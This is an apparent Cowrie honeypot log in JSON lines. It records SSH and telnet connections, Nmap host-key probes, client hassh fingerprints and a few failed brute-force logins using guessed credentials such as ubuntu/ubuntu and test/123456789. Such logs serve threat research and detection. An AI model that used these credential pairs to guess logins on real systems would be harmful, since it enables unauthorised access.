{"eventid":"cowrie.client.kex","hassh":"b4b8ae3d7241d2c1dc54b4df7e8c19d1","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: b4b8ae3d7241d2c1dc54b4df7e8c19d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:04.811972Z","src_ip":"34.79.163.128","session":"ab4c7693575f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:05.228483Z","src_ip":"34.79.163.128","session":"ab4c7693575f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.107.103.83","src_port":33348,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e5479373ec7","protocol":"telnet","message":"New connection: 202.107.103.83:33348 (159.203.135.109:23) [session: 3e5479373ec7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:06.014928Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":46086,"dst_ip":"10.17.0.5","dst_port":22,"session":"437ae065530c","protocol":"ssh","message":"New connection: 80.94.92.186:46086 (10.17.0.5:22) [session: 437ae065530c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:15.150853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:15.231284Z","src_ip":"80.94.92.186","session":"437ae065530c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:15.341857Z","src_ip":"80.94.92.186","session":"437ae065530c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:16.080329Z","src_ip":"80.94.92.186","session":"437ae065530c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:17.220278Z","src_ip":"80.94.92.186","session":"437ae065530c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.112534046173096,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:20.127348Z","src_ip":"202.107.103.83","session":"3e5479373ec7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.163.128","src_port":22032,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6f29df83259","protocol":"ssh","message":"New connection: 34.79.163.128:22032 (159.203.135.109:22) [session: d6f29df83259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:20.453288Z"}
{"eventid":"cowrie.client.version","version":"SSH-1.5-Nmap-SSH1-Hostkey","message":"Remote SSH version: SSH-1.5-Nmap-SSH1-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:20.539996Z","src_ip":"34.79.163.128","session":"d6f29df83259","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:20.545515Z","src_ip":"34.79.163.128","session":"d6f29df83259","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.163.128","src_port":22046,"dst_ip":"159.203.135.109","dst_port":22,"session":"53bc50adb301","protocol":"ssh","message":"New connection: 34.79.163.128:22046 (159.203.135.109:22) [session: 53bc50adb301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:20.768074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:20.900938Z","src_ip":"34.79.163.128","session":"53bc50adb301","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-dss"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:20.975454Z","src_ip":"34.79.163.128","session":"53bc50adb301","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:20.991935Z","src_ip":"34.79.163.128","session":"53bc50adb301","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.163.128","src_port":22050,"dst_ip":"159.203.135.109","dst_port":22,"session":"85919a733b08","protocol":"ssh","message":"New connection: 34.79.163.128:22050 (159.203.135.109:22) [session: 85919a733b08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:21.143935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:21.246516Z","src_ip":"34.79.163.128","session":"85919a733b08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:21.321460Z","src_ip":"34.79.163.128","session":"85919a733b08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:21.553512Z","src_ip":"34.79.163.128","session":"85919a733b08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.163.128","src_port":22060,"dst_ip":"159.203.135.109","dst_port":22,"session":"bda55f1f62e6","protocol":"ssh","message":"New connection: 34.79.163.128:22060 (159.203.135.109:22) [session: bda55f1f62e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:21.628433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:21.759729Z","src_ip":"34.79.163.128","session":"bda55f1f62e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp256"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:21.834334Z","src_ip":"34.79.163.128","session":"bda55f1f62e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:22.068841Z","src_ip":"34.79.163.128","session":"bda55f1f62e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.163.128","src_port":22066,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a9f7fb5f1d8","protocol":"ssh","message":"New connection: 34.79.163.128:22066 (159.203.135.109:22) [session: 7a9f7fb5f1d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:22.142963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:22.273872Z","src_ip":"34.79.163.128","session":"7a9f7fb5f1d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp384"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:22.348401Z","src_ip":"34.79.163.128","session":"7a9f7fb5f1d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:22.354838Z","src_ip":"34.79.163.128","session":"7a9f7fb5f1d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.163.128","src_port":22070,"dst_ip":"159.203.135.109","dst_port":22,"session":"385a7774d4e1","protocol":"ssh","message":"New connection: 34.79.163.128:22070 (159.203.135.109:22) [session: 385a7774d4e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:22.503201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:22.635470Z","src_ip":"34.79.163.128","session":"385a7774d4e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp521"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:22.711095Z","src_ip":"34.79.163.128","session":"385a7774d4e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:22.717777Z","src_ip":"34.79.163.128","session":"385a7774d4e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.163.128","src_port":56792,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bb4b5f91442","protocol":"ssh","message":"New connection: 34.79.163.128:56792 (159.203.135.109:22) [session: 0bb4b5f91442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:22.863087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:22.995286Z","src_ip":"34.79.163.128","session":"0bb4b5f91442","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-ed25519"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:23.070558Z","src_ip":"34.79.163.128","session":"0bb4b5f91442","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:23.301578Z","src_ip":"34.79.163.128","session":"0bb4b5f91442","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":47406,"dst_ip":"10.17.0.5","dst_port":22,"session":"33161ba5ba7d","protocol":"ssh","message":"New connection: 103.228.69.212:47406 (10.17.0.5:22) [session: 33161ba5ba7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:54.736493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:54.753362Z","src_ip":"103.228.69.212","session":"33161ba5ba7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:54.989832Z","src_ip":"103.228.69.212","session":"33161ba5ba7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456789","message":"login attempt [test/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:55.947114Z","src_ip":"103.228.69.212","session":"33161ba5ba7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:26:57.181882Z","src_ip":"103.228.69.212","session":"33161ba5ba7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":36056,"dst_ip":"10.17.0.5","dst_port":22,"session":"25255a97981e","protocol":"ssh","message":"New connection: 103.228.69.212:36056 (10.17.0.5:22) [session: 25255a97981e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:27:51.126699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:27:51.132169Z","src_ip":"103.228.69.212","session":"25255a97981e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:27:51.370881Z","src_ip":"103.228.69.212","session":"25255a97981e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tf2server","password":"tf2","message":"login attempt [tf2server/tf2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:27:52.346926Z","src_ip":"103.228.69.212","session":"25255a97981e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:27:53.589442Z","src_ip":"103.228.69.212","session":"25255a97981e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"84.239.42.8","src_port":62901,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e91bff4d12f","protocol":"ssh","message":"New connection: 84.239.42.8:62901 (159.203.135.109:22) [session: 9e91bff4d12f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:28:25.690312Z"}
